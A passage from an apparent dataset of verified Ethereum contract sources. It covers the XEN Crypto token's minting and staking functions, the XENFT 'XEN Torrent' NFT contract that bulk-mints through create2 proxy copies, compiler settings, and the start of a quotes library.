rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}} |
1 | 19,494,966 | b37f45003d88fd698c750f7744bd31028442086a16a43a4f4df8e8d418929377 | 95f006a459224e88a8f73755ab7bc49de3dbf196b2834c3be19f2653c4c3b3ea | 515b52b8170b1dcd20242b369a674a8dad27407f | 0a252663dbcc0b073063d6420a40319e438cfa59 | 386bff2ca3b522296f10036d1d34afaa727ce93e | 3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3 | {{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by connected contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao 